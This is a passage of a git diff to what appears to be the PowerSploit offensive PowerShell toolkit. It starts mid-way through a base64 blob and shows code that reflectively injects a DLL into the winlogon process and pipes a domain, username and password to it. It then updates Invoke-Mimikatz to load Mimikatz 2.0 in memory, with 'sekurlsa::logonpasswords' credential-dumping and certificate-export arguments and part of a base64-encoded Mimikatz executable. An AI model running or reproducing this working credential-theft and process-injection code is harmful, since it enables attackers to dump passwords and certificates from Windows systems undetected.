CvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AcAEAKAAAAACgCKAQoBigIKAooDCgOKBAoEigUKBYoGCgaKBwoAAAAIABAAwAAABYpwAAALABAHgAAAAwoDigIKIoojCiOKJAokiiUKJYomCiaKLgqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvQq+CroK+or7CvuK/Ar8iv0K/Yr+Cv6K/wr/ivAMABAPwAAAAAoAigEKAYoCCgKKAwoDigQKBIoFCgWKBgoGigcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoAChCKEQoRihIKEooTChOKFAoUihUKFYoWChaKFwoXihgKGIoZChmKGgoaihsKG4ocChyKHQodih4KHoofCh+KEAogiiEKIYoiCiKKIwojiiQKJIolCiWKJgoqiiyKLoogijKKNgo3ijgKOIo5CjAKQIpBCkGKQgpCikMKQ4pECkSKRYpGCkaKRwpHikgKSIpJCkoKSopLCkuKTIp9Cn2KfgpwioMKhYqICoqKjIqPCoKKlgqZCpAAAAAAAAAAA=" + [Byte[]]$Logon32Bit = [Convert]::FromBase64String($Logon32Bit_Base64) + [Byte[]]$Logon64Bit = [Convert]::FromBase64String($Logon64Bit_Base64) + Invoke-ReflectivePEInjection -Bytes32 $Logon32Bit -Bytes64 $Logon64Bit -ProcId $WinLogonProcessId + + + #Send domain, username, and password over the named pipe + [Byte[]]$DomainBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($DomainName) + [Byte[]]$UsernameBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($UserName) + [Byte[]]$PasswordBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($Password) + + $Pipe.WaitForConnection() + + $Pipe.Write($DomainBytes, 0, $DomainBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent domain" + $Pipe.Write($UsernameBytes, 0, $UsernameBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent username" + $Pipe.Write($PasswordBytes, 0, $PasswordBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent password" + $Pipe.WriteByte($LogonTypeNum) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent logontype" + $Pipe.WriteByte($AuthPackageNum) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent auth package" + + $RetMessageSize = 1024 + [Byte[]]$ReturnMessageBytes = New-Object Byte[] $RetMessageSize + $ReadBytes = $Pipe.Read($ReturnMessageBytes, 0, $RetMessageSize) + + $ReturnMessage = [System.Text.ASCIIEncoding]::ASCII.GetString($ReturnMessageBytes, 0, $ReadBytes) + Write-Output "DLL OUTPUT: $($ReturnMessage)" + } + finally + { + $Pipe.Dispose() + } +} diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 2e206a66..28f2911e 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -1,13 +1,13 @@ -function Invoke-Mimikatz +function Invoke-Mimikatz { <# .SYNOPSIS -This script leverages Mimikatz 1.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as +This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing the mimikatz binary to disk. The script has a ComputerName parameter which allows it to be executed against multiple computers. -This script should be able to dump credentials from any version of Windows through Windows 8 (but not 8.1) that has PowerShell v2 or higher installed. +This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed. Function: Invoke-Mimikatz Author: Joe Bialek, Twitter: @JosephBialek @@ -15,18 +15,16 @@ Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. License: http://creativecommons.org/licenses/by/3.0/fr/ Required Dependencies: Mimikatz (included) Optional Dependencies: None -Version: 1.0 -ReflectivePEInjection version: 1.0 -Mimikatz version: 1.0 +Mimikatz version: 2.0 alpha (12/14/2015) .DESCRIPTION -Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any +Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. .PARAMETER DumpCreds -Switch: Use mimikatz to dump credentials out of LSASS. Not currently compatible with Windows 8.1. +Switch: Use mimikatz to dump credentials out of LSASS. .PARAMETER DumpCerts @@ -62,14 +60,7 @@ Find mimikatz at: http://blog.gentilkiwi.com .LINK -Blog: http://clymb3r.wordpress.com/ -Benjamin DELPY blog: http://blog.gentilkiwi.com - -Github repo: https://github.com/clymb3r/PowerShell - -Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ -Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ - +http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ #> [CmdletBinding(DefaultParameterSetName="DumpCreds")] @@ -549,7 +540,7 @@ $RemoteScriptBlock = { $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary @@ -608,10 +599,13 @@ $RemoteScriptBlock = { $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf - $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx - $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) - $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) @@ -622,7 +616,12 @@ $RemoteScriptBlock = { $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread - + + $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree + return $Win32Functions } ##################################### @@ -793,24 +792,12 @@ $RemoteScriptBlock = { [IntPtr] $StartAddress, - [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] - [IntPtr] - $EndAddress, - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) - [IntPtr]$FinalEndAddress = [IntPtr]::Zero - if ($PsCmdlet.ParameterSetName -eq "Size") - { - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - } - else - { - $FinalEndAddress = $EndAddress - } + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) $PEEndAddress = $PEInfo.EndAddress @@ -1700,7 +1687,14 @@ $RemoteScriptBlock = { } else { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + if($ProcedureName -is [string]) + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName) + } } if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) @@ -2194,7 +2188,7 @@ $RemoteScriptBlock = { $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $OriginalImageBase = $PEInfo.OriginalImageBase $NXCompatible = $true - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) { Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue $NXCompatible = $false @@ -2252,7 +2246,7 @@ $RemoteScriptBlock = { Write-Verbose "Allocating memory for the PE and write its headers to memory" [IntPtr]$LoadAddr = [IntPtr]::Zero - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) { Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue [IntPtr]$LoadAddr = $OriginalImageBase @@ -2579,6 +2573,29 @@ $RemoteScriptBlock = { #Load the PE reflectively Write-Verbose "Calling Invoke-MemoryLoadLibrary" + + try + { + $Processors = Get-WmiObject -Class Win32_Processor + } + catch + { + throw ($_.Exception) + } + + if ($Processors -is [array]) + { + $Processor = $Processors[0] + } else { + $Processor = $Processors + } + + if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) + { + Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) + Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop + } + #Determine whether or not to use 32bit or 64bit bytes if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) { @@ -2616,7 +2633,7 @@ $RemoteScriptBlock = { ### YOUR CODE GOES HERE ######################################### Write-Verbose "Calling function with WString return type" - [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "PSMimikatz" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." @@ -2626,8 +2643,16 @@ $RemoteScriptBlock = { $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) - Write-Output $Output + if ($OutputPtr -eq [IntPtr]::Zero) + { + Throw "Unable to get output, Output Ptr is NULL" + } + else + { + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + $Win32Functions.LocalFree.Invoke($OutputPtr); + } ######################################### ### END OF YOUR CODE ######################################### @@ -2682,11 +2707,11 @@ Function Main if ($PsCmdlet.ParameterSetName -ieq "DumpCreds") { - $ExeArgs = "privilege::debug sekurlsa::logonPasswords exit" + $ExeArgs = "sekurlsa::logonpasswords exit" } elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts") { - $ExeArgs = "privilege::debug crypto::patchcng crypto::patchcapi crypto::exportCertificates `"crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit" + $ExeArgs = "crypto::cng crypto::capi `"crypto::certificates /export`" `"crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit" } else { @@ -2695,9 +2720,15 @@ Function Main [System.IO.Directory]::SetCurrentDirectory($pwd) - - $PEBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACPjNmay+23ycvtt8nL7bfJWKMvycrtt8mkmynJx+23yaSbHMn27bfJpJsdyWrtt8nClSTJ2O23ycvttske7bfJpJsYyfjtt8mkmyzJyu23yaSbLcnK7bfJpJsqycrtt8lSaWNoy+23yQAAAAAAAAAAUEUAAGSGBgAW10lSAAAAAAAAAADwACIgCwIKAAD2BAAAAgMAAAAAAJSEAwAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAQAgAAAQAAAAAAAADAEABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAOCGBgBgAAAAZG8GAMgAAAAAMAcAyPEAAADwBgD0MgAAAAAAAAAAAAAAMAgA7AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBQCQBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA29AQAABAAAAD2BAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAQHcBAAAQBQAAeAEAAPoEAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAARVAAAAkAYAACoAAAByBgAAAAAAAAAAAAAAAABAAADALnBkYXRhAAD0MgAAAPAGAAA0AAAAnAYAAAAAAAAAAAAAAAAAQAAAQC5yc3JjAAAAyPEAAAAwBwAA8gAAANAGAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwMAAAAMAgAAA4AAADCBwAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNBbkIBQBIiQHpvUEDAMxIiVwkCFdIg+wgSI0FnwgFAIvaSIv5SIkB6J5BAwD2wwF0CEiLz+hlRgMASIvHSItcJDBIg8QgX8PMzMzpe0EDAMzMzEiJXCQQV0iD7EBIi/oz0kiL2eixGwMAM8BIiUMIiEMQSIlDGIhDIEiJQyiIQzBIiUM4iENASIX/dTlIjQULRAUASI1UJFBIjUwkIEiJRCRQ6K9AAwBMjR3oCQUASI0VOV0GAEiNTCQgTIlcJCDosnoDAMxIi9dIi8vo5hcDAEiLw0iLXCRYSIPEQF/DQFNIg+wgSIvZ6DYXAwBIi0s4SIXJdAXoCEUDAEiDYzgASItLKEiFyXQF6PVEAwBIg2MoAEiLSxhIhcl0BejiRAMASINjGABIi0sISIXJdAXoz0QDAEiDYwgASIvLSIPEIFvpBRsDAMxAU0iD7CBIi9noskADAEyNHTsJBQBMiRtIi8NIg8QgW8PMzMxIjQUNCAUASIkBw8xIi8RIiVgQVVZXQVRBVUFWQVdIg+wwSIvpRTP2SYPP/0SJcBgzwEmLz0iL/UyL6kiL9fKuQYv+SPfRTI1h/0n/xEmL3HQuTI2MJIAAAABIjUwkcEyLw0iL1kyJbCQg6JEdAwCFwH4NSJhI/8dIA/BIK9h10kj/x7gCAAAASPfnSQ9Ax0iLyOjRGgMARIm0JIgAAABIi/BIi9hIhf90LUyNjCSIAAAATYvESIvVSIvLTIlsJCDoOx0DAIXAfg5ImEiDwwJIA+hI/89102ZEiTNIi1wkeEiLxkiDxDBBX0FeQV1BXF9eXcPMSIlcJBBIiWwkGEiJdCQgV0iB7IAAAAAz9kiL6kiL+Ym0JJAAAABIhckPhIkAAABIOTEPhYAAAACNTjDo+EQDAEiL2EiFwHRbSItNAL4BAAAASItRKEiF0nUESI1RMEiNTCQ46Iz9//9Ig2MIAEiNBbQIBQBIjUwkIEiJA+inHwMASIsISIlLEEiLSAhIiUsYSItAEEiJQyDoTxADAEiJQyjrAjPbSIkfQPbGAXQKSI1MJDjoyP3//0yNnCSAAAAAuAIAAABJi1sYSYtrIEmLcyhJi+Nfw8zMQFNIg+wgD7faSI1REEEPt8joph8DAGaFww+VwEiDxCBbw8zMSYvBTYvQTIvaTI1JEEyLwEmL0kmLy+mxHwMAzEiJXCQISIlsJBBIiXQkGFdIg+wgSYv5SYvYD7fqSIvxTTvBdB1IiwZED7cDD7fVSIvO/1AQhMB1CUiDwwJIO99140iLbCQ4SIt0JEBIi8NIi1wkMEiDxCBfw8zMSIlcJAhIiWwkEEiJdCQYV0iD7CBJi/lJi9gPt+pIi/FNO8F0HUiLBkQPtwMPt9VIi87/UBCEwHQJSIPDAkg733XjSItsJDhIi3QkQEiLw0iLXCQwSIPEIF/DzMwPt8JIjVEQD7fI6Z0YAwDMSIlcJAhIiXQkEFdIg+wgSYvwSIvaSTvQdBtIjXkQD7cLSIvX6HMYAwBmiQNIg8MCSDvedelIi3QkOEiLw0iLXCQwSIPEIF/DD7fCSI1REA+3yOm1GAMAzEiJXCQISIl0JBBXSIPsIEmL8EiL2kk70HQbSI15EA+3C0iL1+iLGAMAZokDSIPDAkg73nXpSIt0JDhIi8NIi1wkMEiDxCBfw0yL3EiD7DiDZCRQAEiNQSiIVCRISY1TEEmNSwhNjUsYQbgBAAAASYlD6OhdGgMAD7dMJEC6//8AAIXAZg9Iyg+3wUiDxDjDzEiJXCQIVVZXSIPsQEmL8UmL+EiL2kk70HRNSI1pKIoDg2QkMABMjUwkMEiNVCRoSI1MJHBBuAEAAACIRCRoSIlsJCDo/BkDAA+3TCRwhcC6//8AAGYPSMpI/8NmiQ5Ig8YCSDvfdbdIi8NIi1wkYEiDxEBfXl3DzEBTSIPsQEiLBUuEBgBIM8RIiUQkMINkJCAAQQ+22EyNSShMjUQkIEiNTCQk6L8MAwAPtlQkJIP4AQ9F04rCSItMJDBIM8zoRToDAEiDxEBbw8zMzEiJXCQYSIlsJCBWV0FUSIPsQEiLBeuDBgBIM8RIiUQkMEiLrCSAAAAARYrhSYv4SIvaSTvQdDxIjXEoD7cTg2QkIABMjUQkIEiNTCQkTIvO6EcMAwAPtlQkJEEPtsyD+AEPRdFIg8MCiFUASP/FSDvfdchIi8NIi0wkMEgzzOi5OQMASItcJHBIi2wkeEiDxEBBXF9ew8zMSIlcJAhXSIPsIIN5IABIjQXnBAUAi/pIiQFIi9l0CUiLSRjoUD8DAEiNBcUCBQBIiQNA9scBdAhIi8vo1D8DAEiLw0iLXCQwSIPEIF/DzMxAVUiL7EiD7GCLQRSD4hcjwolREA+E8AAAAEWEwHQKM9Izyeh0dAMAzMdFwAEAAACoBHRG6MMMAwBIjVUQSI1N0EiJRchIjQWYPQUASIlFEOgnOgMASI0F2AQFAA8QbcBIjRVFVwYASI1N0EiJRdDzD39t6OgjdAMAzKgCdEboeQwDAEiNVRBIjU3QSIlFyEiNBWY9BQBIiUUQ6N05AwBIjQWOBAUADxBtwEiNFftWBgBIjU3QSIlF0PMPf23o6NlzAwDM6DMMAwBIjVUQSI1N0EiJRchIjQU4PQUASIlFEOiXOQMASI0FSAQFAA8QbcBIjRW1VgYASI1N0EiJRdDzD39t6OiTcwMAzEiDxGBdw0iJXCQQSIl0JBhXSIPsIDP2RTPAM9JIi/nHQRgBAgAASMdBIAYAAABIiXFASIlxCIlxFEiJcShIiXEwSIlxOOis/v//jU4I6GA/AwBIi9hIhcB0OehHEQMASIkD6O8OAwBIjUwkMDPSSIvw6MATAwBIi04ISIP5/3MHSP/BSIlOCEiNTCQw6NUTAwDrA0iL3kiLdCRASIlfQEiLXCQ4SIPEIF/DSIlcJAhXSIPsIEiL2kiL+ehjOQMASI0FZAMFAEyNHUUDBQBMiR8PEEMYSItcJDBIiQdIi8fzD39HGEiDxCBfw0iJXCQIV0iD7CBIi9pIi/noIzkDAEyNHQwDBQBIi8dMiR8PEEMYSItcJDDzD39HGEiDxCBfw8zMSIlcJAhXSIPsIEiNBT8CBQCL2kiL+UiJAeiWDAMA9sMBdAhIi8/obT0DAEiLx0iLXCQwSIPEIF/DzMzMSIlcJBhIiXQkIFVXQVRIi+xIg+xwRTPkSIvZSIv6QY1MJFBMiWXQ6Cg+AwBIhcAPhHgCAABIiUXISIkASItFyEiJQAhIi0XITI1FsEiJQBBIi0XISI1V4MZASAFIi0XISI1NwMZASQFIjQVVOwUAx0W4AAABAEiJRbDoFUUAAEyNHYY7BQBMjUWwSI1V4EiNTcBMiV2wx0W4AAAHAOjyRAAATI0dwzsFAEyNRbBIjVXgSI1NwMdFuAAAAgBMiV2w6M9EAABMjR3gOwUATI1FsEiNVeBIjU3ATIldsMdFuAAACADorEQAAEyNHR08BQBMjUWwSI1V4EiNTcBMiV2wx0W4AAAJAOiJRAAATI0dWjwFAEyNRbBIjVXgSI1NwMdFuAAABABMiV2w6GZEAABMjR1/PAUATI1FsEiNVeBIjU3ATIldsMdFuAAABgDoQ0QAAEyNHYw8BQBMjUWwSI1V4EiNTcBMiV2wx0W4AAAFAOggRAAASI1VsEiNTcBMi8PoHA4AAEyLXbBIi1XITDvaD4SXAAAAQYtDQIkHSIt6CEiL90Q4Z0l1LkiLVhBIjU3A6D9CAABIizZIjU8Y6ItKAABIi8/okzsDAEiL/kQ4Zkl01kiLVchIiVIISItFyEiJAEiLRchIiUAQSItNyEyJZdDoZjsDAEiDexgIcghIiwvoVzsDAEjHQxgHAAAATIljELABZkSJI0yNXCRwSYtbMEmLczhJi+NBXF9dw0iLeghIi/dEOGdJdS5Ii1YQSI1NwOiuQQAASIs2SI1PGOj6SQAASIvP6AI7AwBIi/5EOGZJdNZIi1XISIlSCEiLRchIiQBIi0XISIlAEEiLTchMiWXQ6NU6AwBIg3sYCHIISIsL6MY6AwBIx0MYBwAAAEyJYxAywGZEiSPpav///0iNVbBIjU3gTIllsOhWNQMATI0dt/wEAEiNFThTBgBIjU3gTIld4OhbbwMAzMzMTIvcSYlbEFdIg+xQSIsFxX0GAEgzxEiJRCRISIucJIAAAABIi9EzwEiDyf9Ii/pJx0PgBwAAAGbyr0mJQ9hmiUQkIEj30UyNQf9JjUvI6JkXAABIjVQkIEiLy+j4DAAASIN8JDgIcgpIi0wkIOgOOgMAuAEAAABIi0wkSEgzzOiMMwMASItcJGhIg8RQX8PMQFVTVldBVEFVQVZIi+xIg+xgSIvyM9JIi9lJi/hFM/aNSgJBuQAgAABFM8BFiu5MiXQkIP8VBvUEAEyNTfhFjUYBSIvTSIvITIvgTIl1+P8V2/QEAIXAD4T8AAAASIN/GAhEiXXgTIl16HIFTIsH6wNMi8dIjVXguwYAAABFM8lJi8yJXCQg/xWD9AQAhcAPhLoAAACLTeDohw8DAEiDfxgISIlF6HIFTIsH6wNMi8dIjVXgRTPJSYvMiVwkIP8VTPQEAIXAdH5Ig34YCHIFSIsO6wNIi85MiXQkMEUzyUUzwLoAAABARIl0JCjHRCQgAgAAAP8VNvUEAEiL2EiFwHRESIP4/3Q+RItF4EiLVehMjU3wSIvITIl0JCD/FQb1BACFwHQXi0XwOUXgdQ9Ii8v/FQH1BACFwEEPlcVIi8v/FQL1BABIi03o6Jk4AwBIi034/xXf8wQAugEAAABJi8z/FcHzBABIg34YCHIISIsO6Ho4AwBMiXYQuwcAAABIiV4YZkSJNkiDfxgIcghIiw/oWjgDAEiJXxhMiXcQQYrFZkSJN0iDxGBBXkFdQVxfXltdw0iJXCQYSIlsJCBWV0FUSIPsUEUz5EiDehgISIvaQYr0SIvpcgVIiwrrA0iLykyJZCQwRTPJRTPAugAAAEBEiWQkKMdEJCACAAAA/xUs9AQASIv4SIXAdEZIg/j/dEBEi0UQSItVCEyNTCRASIvITIlkJCD/FfvzBACFwHQYi0QkQDlFEHUPSIvP/xX18wQAhcBAD5XGSIvP/xX28wQASIN7GAhyCEiLC+iPNwMATI1cJFBIx0MYBwAAAEyJYxBJi2s4ZkSJI0mLWzBAisZJi+NBXF9ew8zMzEiJXCQIV0iB7BABAABIi9lIjUwkIIv66MgKAABEi99IjUwkIEH/y3RQQf/LdEJIjRU/OAUA6IJAAAAzyUyL2EiFwHQKSIsASGNIBEkDy4FhGP/5//8PumkYC4vXSYvL6KwEAABIjRUFOAUASIvI6xBIjRXdNwUA6wdIjRW0NwUA6DdAAABIjUwkKEiL0+h6FgAASI1MJCDoFAAAAEiLw0iLnCQgAQAASIHEEAEAAF/DSIlcJAhXSIPsIEiNuYgAAABIi4d4////SI1PgEhjUARIjQXFOAUASImEOnj////ozAoAAEiLh3j///9IY1AESI0FNvsEAEiLz0iJhDp4////SI0FFPsEAEiJB0iLXCQwSIPEIF/pZgUDAMzMQFNVVldBVEFVSIPseEiLBYx5BgBIM8RIiUQkYEUz7UmDeBgISYvYi+pMi+HHRCRIHvG1sEGK9USJbCRMTIlsJFREiUwkUIlUJFxyBUmLCOsDSIvLTIlsJDBFM8lFM8C6AAAAQESJbCQox0QkIAIAAAD/FRHyBABIi/hIhcB0akiD+P90ZEyNTCRASI1UJEhBuBgAAABIi8hMiWwkIP8V3fEEAIXAdDmDfCRAGHUyTI1MJEBEi8VJi9RIi89MiWwkIP8VufEEAIXAdBU7bCRAdQ9Ii8//FbbxBACFwEAPlcZIi8//FbfxBABIg3sYCHIISIsL6FA1AwBIx0MYBwAAAEyJaxBAisZmRIkrSItMJGBIM8zowC4DAEiDxHhBXUFcX15dW8PMzMxIiVwkGFVWV0FUQVVBVkFXSIvsSIPsUEyLZWgz202L6U2L8EiL+kiL8UiJXeBIiV1IiVVATYXkdBdIOVVwchFMi8JIi9FJi8zoAzEDAEmL9ESLZWBBgfwBaAAAdR5Jg/0QdhhNi81Ni8ZIi9dIi87oBAEAALMB6eEAAABIjU3gQbkBAAAARTPAM9LHRCQgAAAA8P8V+O0EAIXAD4S8AAAASY1NDMdF6AgCAABEiWXs6KAKAwBIi03oTYvFSIkISI1IDEmL1kyL+ESJaAjofzADAEiLTeBIjUVIRY1FDEiJRCQoRTPJSYvXx0QkIAEAAAD/FartBACFwHROSItNSEUzyUiNRUBIiUQkKEWNQQEz0kiJdCQg/xWV7QQAhcB1FkGB/AFmAAB1Fv8VQvAEAD0FAAmAdQmLRUBIO8cPlMNIi01I/xVg7QQASYvP6MgzAwBIi03gM9L/FTztBACKw0iLnCSgAAAASIPEUEFfQV5BXUFcX15dw8zMSIlcJBBVVldBVEFVSIHsEAEAAEiLBeZ2BgBIM8RIiYQkAAEAAEUz0kmL6U2L4EiL8kyL6UyNHCRFi8pBi8K7AAEAAEGIA//ASf/DO8Ny9EWL2kmL0kyNBCRCD7YMIkEPtjhB/8FBA8tBi8FI/8IDz0QPttlIO8VyBkWLykmL0kKKBBxBiABJ/8BI/8tCiDwcdcdFi8pFi9pIhfZ0QEGNQQFB/8JED7bIQg+2FAxBjQQTRA+22EKKBBxCiAQMQogUHEIPtgwMA8oPtsGKDARBi8JBME0ASf/FSDvGcsBIi4wkAAEAAEgzzOhLLAMASIucJEgBAABIgcQQAQAAQV1BXF9eXcNAU0iD7CBIg3kYEEiL2XIISIsJ6IwyAwBIg2MQAEjHQxgPAAAAxgMASIPEIFvDzMxAU0iD7CBIi9lIiwlIhcl0BejCMQMASIMjAEiDxCBbw0iLxEiJSAhXQVRBVUiD7GBIx0QkOP7/